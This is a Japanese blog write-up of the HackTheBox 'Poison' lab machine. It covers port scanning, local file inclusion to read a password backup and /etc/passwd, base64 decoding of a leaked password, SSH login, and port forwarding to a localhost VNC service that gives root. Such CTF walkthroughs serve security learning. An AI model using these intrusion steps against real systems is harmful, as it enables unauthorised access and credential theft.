はじめに
こんにちは。どうも最近積極的にHTBに取り組んでいます。
自分のまとめのためにも書いていきたいと思います。また日本語の解説も少なかったりするので参考の1つとしてみてくれたらなと思います。
間違っているところとかあればご指摘お願いします。
Twitter:@ikk_hck
Poison
HackTheBox公式より
Poison is a fairly easy machine which focuses mainly on log poisoning and port forwarding/tunneling. The machine is running FreeBSD which presents a few challenges for novice users as many common binaries from other distros are not available.
スキャン
例によってPoison(10.10.10.84)にポートスキャン
nmap -sV -sC -Pn 10.10.10.84
オプションの説明は前回の記事、Hack the Box (HTB) Devel write-upを参照してください。
結果、
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-26 08:20 EDT
Nmap scan report for 10.10.10.84
Host is up (0.19s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey:
| 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
| 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
389/tcp filtered ldap
545/tcp filtered ekshell
1059/tcp filtered nimreg
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.59 seconds
調査
テストファイルがいくつかあるのでそれぞれ入力して試してみる。するとlistfiles.phpで
が表示された。よくみると最後にpwdbackup.txt。もう怪しさしかない。他のファイルは最初にリストアップされていたもののようです。
さっそく試してみる
submitすると
が表示されます。どうやらbase64でエンコードされています。base64の特徴としては、データ長を揃えるためにパディングとして末尾に記号の=を使用、記号が少なく英数字で構成されているなどがあります。
デコード
これを適当なファイルに保存して解読していきたいと思います。
今回はtmp.txtとして保存した後に
$sed 's/ //g' tmp.txt > decode.txt
で空白を除きます。軽く説明すると"s"が正規表現で処理、/(置換前)/(置換後)/、"g"がマッチしたもの全てに処理をする、です。※今回は空白を除きたいので置換の部分は「/ //」です。
$cat new_tmp.txt
Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo=
空白がなくなっているのがわかります。次に実際にデコードしていきます。ブラウザでpwdbackup.txtをみた時、1行目に少なくても13回エンコードされているとあるのでとりあえず13回デコードしてみます。地道に13回やってもいいのですが今回は
$ for i in `seq 0 12`
> do
> cat decode.txt | base64 -d > tmp_decode.txt
> mv tmp_decode.txt decode.txt
> done
としました。なぜわざわざtmp_decode.txtにいったん出力しているかというと、tmp_decode.txtに出力してからdecode.txtにコピーしないと、catした時点で出力先のファイルがゼロクリアされるためです。
decode.txtをみてみると
$ cat decode.txt
Charix!2#4%6&8(0
パスワードが解読できているようです。
また先ほどのサイトは明らかにLFI(Web app Security Memo参照)の脆弱性があるので/etc/passwd/を入力しsubmitしてみると
最後の行からユーザー名が"charix"であることがわかりました。これでユーザ名とパスワードがそろいました。最初のnmapでsshの22番ポートも開いていましたね?さっそく得た情報を使ってssh接続していきたいと思います。
ssh接続
$ ssh charix@10.10.10.84
Password for charix@Poison:
Last login: Mon Mar 19 16:38:00 2018 from 10.10.14.4
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017
Welcome to FreeBSD!
Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories: https://www.FreeBSD.org/security/
FreeBSD Handbook: https://www.FreeBSD.org/handbook/
FreeBSD FAQ: https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums: https://forums.FreeBSD.org/
Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with: pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.
Show the version of FreeBSD installed: freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages: man man
FreeBSD directory layout: man hier
Edit /etc/motd to change this login announcement.
Simple tcsh prompt: set prompt = '%# '
charix@Poison:~ %
無事接続できたのでディレクトリをのぞいてみると
charix@Poison:~ % ls
secret.zip user.txt
secret.zipが気になるのでダウンロードしてきて解凍。出力してみましたがよくわかりませんでした。
$ scp charix@10.10.10.84:secret.zip ~/Desktop/poison/
Password for charix@Poison:
secret.zip 100% 166 0.2KB/s 00:01
$ unzip secret.zip
Archive: secret.zip
[secret.zip] secret password:
extracting: secret
ポートを開いているプロセス情報を教えてくれるsockstatを使ってさらに調べていきます。
charix@Poison:~ % sockstat -4 -l
USER COMMAND PID FD PROTO LOCAL ADDRESS FOREIGN ADDRESS
root sendmail 660 3 tcp4 127.0.0.1:25 *:*
www httpd 649 4 tcp4 *:80 *:*
www httpd 648 4 tcp4 *:80 *:*
www httpd 645 4 tcp4 *:80 *:*
www httpd 642 4 tcp4 *:80 *:*
www httpd 641 4 tcp4 *:80 *:*
www httpd 640 4 tcp4 *:80 *:*
www httpd 639 4 tcp4 *:80 *:*
www httpd 638 4 tcp4 *:80 *:*
root httpd 625 4 tcp4 *:80 *:*
root sshd 620 4 tcp4 *:22 *:*
root Xvnc 529 1 tcp4 127.0.0.1:5901 *:*
root Xvnc 529 3 tcp4 127.0.0.1:5801 *:*
root syslogd 390 7 udp4 *:514 *:*
オプションの説明としては
-l リスニングポートを一覧表示
-4 IPv4オープンポートを一覧表示
といったかんじです。すると最後の方の行からvnc用に5901番と5801番ポートが開いていることがわかります。
ポートフォワーディング
しかし10.10.10.84からの接続しか受け付けていないためsshポートフォワーディングをします。一応補足しておくと、ポートフォワーディングとはいわゆるポート転送のことで、ローカルのポート接続からあるサーバを踏み台にして直接アクセスできない別のサーバのポートにアクセスしたいときに使われたりします。SSHポートフォワード:OpenSSH の -L と -R オプションの動作を図解などを参照してみてください。今回のPoisonでは踏み台にするサーバーと最終的な目的地としてのサーバは同じです。
$ ssh charix@10.10.10.84 -L 5901:127.0.0.1:5901
Password for charix@Poison:
Last login: Thu Aug 27 10:57:43 2020 from 10.10.14.8
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017
Welcome to FreeBSD!
Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories: https://www.FreeBSD.org/security/
FreeBSD Handbook: https://www.FreeBSD.org/handbook/
FreeBSD FAQ: https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums: https://forums.FreeBSD.org/
Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with: pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.
Show the version of FreeBSD installed: freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages: man man
FreeBSD directory layout: man hier
Edit /etc/motd to change this login announcement.
To see the output from when your computer started, run dmesg(8). If it has
been replaced with other messages, look at /var/run/dmesg.boot.
-- Francisco Reyes <lists@natserv.com>
charix@Poison:~ %
コマンドの説明としては
ssh [踏み台にするサーバ] -L [ローカルポート]:[目的地のアドレス]:[目的地のポート]です。
成功しているみたいなので別のシェルを開いてvncviewerを起動。パスワードは先ほどのsecretを使います。この時の127.0.0.1はローカルで、先ほどの
$ ssh charix@10.10.10.84 -L 5901:127.0.0.1:5901
の127.0.0.1は10.10.10.84のローカルなので混乱しないでください。
$vncviewer -passwd secret 127.0.0.1:5901
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding
vncviewer -passwd secret 127.0.0.1:5901
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 2
のような画面が開くのであとはこの中のroot.txtを開くだけ。
おつかれさまでしたー、では。